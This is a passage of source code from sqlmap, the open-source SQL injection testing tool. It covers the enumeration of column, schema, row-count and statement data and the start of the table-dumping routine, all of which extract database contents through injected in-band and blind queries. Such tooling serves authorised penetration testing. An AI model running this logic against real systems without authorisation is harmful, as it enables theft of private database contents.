unsafeSQLIdentificatorNaming(conf.db)) query += condQuery if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("column_type", "data_type", query, flags=re.I) elif Backend.isDbms(DBMS.SPANNER): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX not in conf.db: infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) values = None if values is None: values = inject.getValue(query, blind=False, time=False) if values and isinstance(values[0], six.string_types): values = [values] if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value,)) index += 1 if Backend.isDbms(DBMS.SQLITE): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) else: parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): columnData = [unArrayizeValue(_) for _ in columnData] name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.ALTIBASE): columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) if notNull: columnData[1] = "%s NOT NULL" % columnData[1] columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched table columns from " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery elif Backend.isDbms(DBMS.SPANNER): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), conf.db, conf.db) query += condQuery elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery elif Backend.isDbms(DBMS.SQLITE): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) else: query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(unArrayizeValue(value)) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX not in conf.db: infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming(value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX not in conf.db: errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.isDbms(DBMS.H2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None elif Backend.isDbms(DBMS.MIMERSQL): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None elif Backend.isDbms(DBMS.SNOWFLAKE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) field = None elif Backend.isDbms(DBMS.SPANNER): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) field = None elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) query += condQuery field = None elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery field = condition query = agent.limitQuery(index, query, field, field) column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.MONETDB): query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) elif Backend.isDbms(DBMS.SPANNER): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True colType = INFORMIX_TYPES.get(key, colType) if notNull: colType = "%s NOT NULL" % colType column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " if METADB_SUFFIX not in conf.db: warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warning(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns @stackedmethod def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) try: pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() finally: conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns def _tableGetCount(self, db, table): if not db or not table: return None if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] def getCount(self): if not conf.tbl: warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" logger.warning(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) logger.warning(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: for table in conf.tbl.split(','): self._tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: self._tableGetCount(db, table) return kb.data.cachedCounts def getStatements(self): infoMsg = "fetching SQL statements" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].statements if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query2 else: query = rootQuery.inband.query while True: values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedStatements = [] for value in arrayizeValue(values): value = (unArrayizeValue(value) or "").strip() if not isNoneValue(value): kb.data.cachedStatements.append(value.strip()) elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: query = query.replace("query", "current_query") continue break if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of statements" logger.info(infoMsg) query = rootQuery.blind.count if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedStatements elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of statements" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: value = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes query = rootQuery.blind.query3 % index identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) if not isNoneValue(identifier): query = rootQuery.blind.query2 % identifier value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) if isNoneValue(value): query = rootQuery.blind.query % index if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(value): kb.data.cachedStatements.append(value) if not kb.data.cachedStatements: errMsg = "unable to retrieve the statements" logger.error(errMsg) else: kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] return kb.data.cachedStatements ================================================ FILE: plugins/generic/entries.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getSafeExString from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import prioritySortColumns from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.convert import getConsoleLength from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable from thirdparty import six from thirdparty.six.moves import zip as _zip class Entries(object): """ This class defines entries' enumeration functionalities for plugins. """ def __init__(self): pass def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) or "" if conf.tbl: if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] elif conf.db and not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): kb.dumpTable = tbl elif METADB_SUFFIX.upper() in conf.db.upper(): kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warning(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(column for column in columns if column) if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warning(warnMsg) continue kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX.upper() not in conf.db.upper(): infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if conf.db else tbl if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % (column, column, table, index) query = agent.whereQuery(query) value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) if not entries and isNoneValue(row): break entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) if retVal: entries, _ = retVal entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SPANNER): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) if not isNoneValue(entries): if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in 